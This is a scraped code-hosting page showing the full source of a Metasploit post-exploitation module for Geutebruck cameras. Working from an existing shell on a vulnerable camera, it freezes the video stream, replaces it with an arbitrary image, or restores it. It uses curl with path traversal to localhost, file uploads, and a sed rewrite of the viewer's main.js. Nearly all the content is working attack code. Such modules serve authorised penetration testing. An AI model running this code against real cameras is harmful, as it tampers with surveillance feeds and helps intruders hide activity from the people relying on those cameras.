Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/manage/geutebruck_post_exp.rb
Views: 11703
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize9super(10'Name' => 'Geutebruck Camera Deface',11'Description' => %q{12This module will take an existing session on a vulnerable Geutebruck Camera13and will allow the user to either freeze the camera and display the last14image from the video stream, display an image on the camera, or restore15the camera back to displaying the current feed/stream.16},17'Author' => [18'Ibrahim Ayadhi', # RandoriSec - Module, Discovery19'Sébastien Charbonnier', # RandoriSec - Module, Discovery20],21'License' => MSF_LICENSE,22'Platform' => ['linux'],23'SessionTypes' => ['shell'],24'Actions' => [25['FREEZE_CAMERA', { 'Description' => 'Freeze the camera and display the last image taken from the video stream' }],26['CHANGE_IMAGE', { 'Description' => 'Display an arbitrary image instead of the video stream' }],27['RESUME_STREAM', { 'Description' => "Resume the camera's video stream and display the current live feed" }]28],29'DefaultAction' => 'FREEZE_CAMERA'30)3132register_options(33[34OptString.new('IMAGE', [false, 'Full path to the local copy of the image to upload']),35]36)37end3839def run40print_status('-- Starting action --')41case action.name.downcase42when 'freeze_camera'43action_freeze_camera44when 'change_image'45action_change_image46when 'resume_stream'47action_resume_stream48end49end5051def action_freeze_camera52print_status('Taking a snapshot of the current stream to use as the static image to freeze the stream on...')53cmd_exec('curl http://localhost/test/../uapi-cgi/snapshot.fcgi -o /usr/www/uapi-cgi/viewer/image.fcgi')54print_status('Freezing the stream on the captured image...')55pwn_main_js56print_status('Stream frozen!')57end5859def action_change_image60fail_with(Failure::BadConfig, 'The CHANGE_IMAGE action requires the IMAGE option to be set!') if datastore['IMAGE'].blank?61fail_with(Failure::BadConfig, 'The image path specified by IMAGE does not exist!') unless ::File.exist?(datastore['IMAGE'])62print_status('Uploading a custom image...')63upload_file('/usr/www/uapi-cgi/viewer/image.fcgi', datastore['image'])64pwn_main_js65print_status('Done! The stream should be replaced by your image!')66end6768def action_resume_stream69print_status('Resuming stream...')70unless file_exist?('/usr/www/viewer/js/main.js.bak')71fail_with(Failure::NoTarget, "/usr/www/viewer/js/main.js.bak doesn't exist on the target, did you run FREEZE_CAMERA or CHANGE_IMAGE actions yet?")72end73print_status('Restoring main.js backup...')74move_file('/usr/www/viewer/js/main.js.bak', '/usr/www/viewer/js/main.js')75print_status('Restored! Stream back to a normal state.')76end7778def pwn_main_js79print_status('Backing up the original main.js...')80copy_file('/usr/www/viewer/js/main.js', '/usr/www/viewer/js/main2.js')81move_file('/usr/www/viewer/js/main.js', '/usr/www/viewer/js/main.js.bak')82print_status('Using the new main.js...')83cmd_exec("sed '/ImageBuf.src = snapshot_url;/ i snapshot_url=\"/uapi-cgi/viewer/image.fcgi\"' -i /usr/www/viewer/js/main2.js")84move_file('/usr/www/viewer/js/main2.js', '/usr/www/viewer/js/main.js')85end86end878889